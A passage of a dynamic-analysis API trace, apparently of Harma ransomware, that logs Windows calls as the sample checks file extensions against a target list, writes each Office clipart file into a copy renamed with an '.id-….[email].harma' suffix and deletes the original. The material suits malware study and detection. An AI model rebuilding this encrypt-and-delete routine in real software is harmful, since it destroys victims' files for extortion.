(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0144.351] lstrlenW (lpString=".dbf") returned 4 [0144.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0144.351] lstrlenW (lpString=".1cd") returned 4 [0144.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0144.351] lstrlenW (lpString=".jpg") returned 4 [0144.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.351] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.351] lstrlenW (lpString="BD09664_.WMF") returned 12 [0144.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0144.352] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=7966) returned 1 [0144.352] CloseHandle (hObject=0x214) returned 1 [0144.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x20 [0144.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0144.352] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.352] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0144.353] GetLastError () returned 0x0 [0144.353] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x1f1e, lpOverlapped=0x0) returned 1 [0144.364] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1f20, lpOverlapped=0x0) returned 1 [0144.365] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.365] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.365] SetEndOfFile (hFile=0x350) returned 1 [0144.366] CloseHandle (hObject=0x350) returned 1 [0144.366] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.366] SetEndOfFile (hFile=0x214) returned 1 [0144.371] CloseHandle (hObject=0x214) returned 1 [0144.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0144.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0144.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0144.376] lstrlenW (lpString=".doc") returned 4 [0144.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.376] lstrlenW (lpString=".docx") returned 5 [0144.376] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.376] lstrlenW (lpString=".pdf") returned 4 [0144.376] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.376] lstrlenW (lpString=".xls") returned 4 [0144.376] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.376] lstrlenW (lpString=".xlsx") returned 5 [0144.376] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.376] lstrlenW (lpString=".ppt") returned 4 [0144.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0144.377] lstrlenW (lpString=".zip") returned 4 [0144.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.377] lstrlenW (lpString=".rar") returned 4 [0144.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.377] lstrlenW (lpString=".bz2") returned 4 [0144.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.377] lstrlenW (lpString=".7z") returned 3 [0144.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0144.378] lstrlenW (lpString=".dbf") returned 4 [0144.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0144.378] lstrlenW (lpString=".1cd") returned 4 [0144.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0144.378] lstrlenW (lpString=".jpg") returned 4 [0144.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0144.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0144.378] lstrlenW (lpString=".doc") returned 4 [0144.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.378] lstrlenW (lpString=".docx") returned 5 [0144.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.378] lstrlenW (lpString=".pdf") returned 4 [0144.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.378] lstrlenW (lpString=".xls") returned 4 [0144.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.378] lstrlenW (lpString=".xlsx") returned 5 [0144.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.378] lstrlenW (lpString=".ppt") returned 4 [0144.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0144.378] lstrlenW (lpString=".zip") returned 4 [0144.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.378] lstrlenW (lpString=".rar") returned 4 [0144.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.378] lstrlenW (lpString=".bz2") returned 4 [0144.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.378] lstrlenW (lpString=".7z") returned 3 [0144.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0144.379] lstrlenW (lpString=".dbf") returned 4 [0144.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0144.379] lstrlenW (lpString=".1cd") returned 4 [0144.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0144.379] lstrlenW (lpString=".jpg") returned 4 [0144.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.379] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0144.379] lstrlenW (lpString="BD10890_.GIF") returned 12 [0144.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0144.380] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=13515) returned 1 [0144.380] CloseHandle (hObject=0x34c) returned 1 [0144.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 0x20 [0144.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0144.380] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.380] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0144.381] GetLastError () returned 0x0 [0144.381] ReadFile (in: hFile=0x34c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x34cb, lpOverlapped=0x0) returned 1 [0144.386] WriteFile (in: hFile=0x328, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x34d0, lpOverlapped=0x0) returned 1 [0144.387] ReadFile (in: hFile=0x34c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.388] WriteFile (in: hFile=0x328, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.388] SetEndOfFile (hFile=0x328) returned 1 [0144.388] CloseHandle (hObject=0x328) returned 1 [0144.388] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.388] SetEndOfFile (hFile=0x34c) returned 1 [0144.390] CloseHandle (hObject=0x34c) returned 1 [0144.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0144.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0144.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0144.391] lstrlenW (lpString=".doc") returned 4 [0144.391] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0144.391] lstrlenW (lpString=".docx") returned 5 [0144.391] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0144.391] lstrlenW (lpString=".pdf") returned 4 [0144.391] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0144.391] lstrlenW (lpString=".xls") returned 4 [0144.392] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0144.392] lstrlenW (lpString=".xlsx") returned 5 [0144.392] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0144.392] lstrlenW (lpString=".ppt") returned 4 [0144.392] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0144.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0144.392] lstrlenW (lpString=".zip") returned 4 [0144.392] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0144.392] lstrlenW (lpString=".rar") returned 4 [0144.392] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0144.392] lstrlenW (lpString=".bz2") returned 4 [0144.392] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0144.392] lstrlenW (lpString=".7z") returned 3 [0144.392] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0144.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0144.392] lstrlenW (lpString=".dbf") returned 4 [0144.392] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0144.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0144.392] lstrlenW (lpString=".1cd") returned 4 [0144.392] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0144.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0144.392] lstrlenW (lpString=".jpg") returned 4 [0144.392] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0144.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0144.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0144.392] lstrlenW (lpString=".doc") returned 4 [0144.392] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0144.392] lstrlenW (lpString=".docx") returned 5 [0144.392] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0144.392] lstrlenW (lpString=".pdf") returned 4 [0144.392] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0144.393] lstrlenW (lpString=".xls") returned 4 [0144.393] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0144.393] lstrlenW (lpString=".xlsx") returned 5 [0144.393] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0144.393] lstrlenW (lpString=".ppt") returned 4 [0144.393] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0144.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0144.393] lstrlenW (lpString=".zip") returned 4 [0144.393] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0144.393] lstrlenW (lpString=".rar") returned 4 [0144.393] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0144.393] lstrlenW (lpString=".bz2") returned 4 [0144.393] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0144.393] lstrlenW (lpString=".7z") returned 3 [0144.393] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0144.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0144.393] lstrlenW (lpString=".dbf") returned 4 [0144.393] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0144.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0144.393] lstrlenW (lpString=".1cd") returned 4 [0144.393] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0144.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0144.393] lstrlenW (lpString=".jpg") returned 4 [0144.393] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0144.393] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0144.393] lstrlenW (lpString="BD10972_.GIF") returned 12 [0144.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0144.435] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=20189) returned 1 [0144.435] CloseHandle (hObject=0x214) returned 1 [0144.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 0x20 [0144.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0144.435] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.435] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0144.436] GetLastError () returned 0x0 [0144.436] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x4edd, lpOverlapped=0x0) returned 1 [0144.438] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x4ee0, lpOverlapped=0x0) returned 1 [0144.445] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.445] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.445] SetEndOfFile (hFile=0x350) returned 1 [0144.446] CloseHandle (hObject=0x350) returned 1 [0144.446] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.446] SetEndOfFile (hFile=0x214) returned 1 [0144.450] CloseHandle (hObject=0x214) returned 1 [0144.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0144.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0144.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0144.452] lstrlenW (lpString=".doc") returned 4 [0144.452] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0144.452] lstrlenW (lpString=".docx") returned 5 [0144.452] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0144.452] lstrlenW (lpString=".pdf") returned 4 [0144.452] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0144.452] lstrlenW (lpString=".xls") returned 4 [0144.452] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0144.452] lstrlenW (lpString=".xlsx") returned 5 [0144.452] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0144.452] lstrlenW (lpString=".ppt") returned 4 [0144.452] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0144.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0144.452] lstrlenW (lpString=".zip") returned 4 [0144.452] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0144.452] lstrlenW (lpString=".rar") returned 4 [0144.452] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0144.452] lstrlenW (lpString=".bz2") returned 4 [0144.452] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0144.452] lstrlenW (lpString=".7z") returned 3 [0144.452] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0144.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0144.452] lstrlenW (lpString=".dbf") returned 4 [0144.452] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0144.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0144.453] lstrlenW (lpString=".1cd") returned 4 [0144.453] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0144.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0144.453] lstrlenW (lpString=".jpg") returned 4 [0144.453] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0144.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0144.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0144.453] lstrlenW (lpString=".doc") returned 4 [0144.453] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0144.453] lstrlenW (lpString=".docx") returned 5 [0144.453] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0144.453] lstrlenW (lpString=".pdf") returned 4 [0144.453] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0144.453] lstrlenW (lpString=".xls") returned 4 [0144.453] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0144.453] lstrlenW (lpString=".xlsx") returned 5 [0144.453] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0144.453] lstrlenW (lpString=".ppt") returned 4 [0144.453] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0144.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0144.453] lstrlenW (lpString=".zip") returned 4 [0144.453] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0144.453] lstrlenW (lpString=".rar") returned 4 [0144.454] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0144.454] lstrlenW (lpString=".bz2") returned 4 [0144.454] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0144.454] lstrlenW (lpString=".7z") returned 3 [0144.454] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0144.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0144.454] lstrlenW (lpString=".dbf") returned 4 [0144.454] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0144.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0144.454] lstrlenW (lpString=".1cd") returned 4 [0144.454] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0144.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0144.454] lstrlenW (lpString=".jpg") returned 4 [0144.454] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0144.454] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 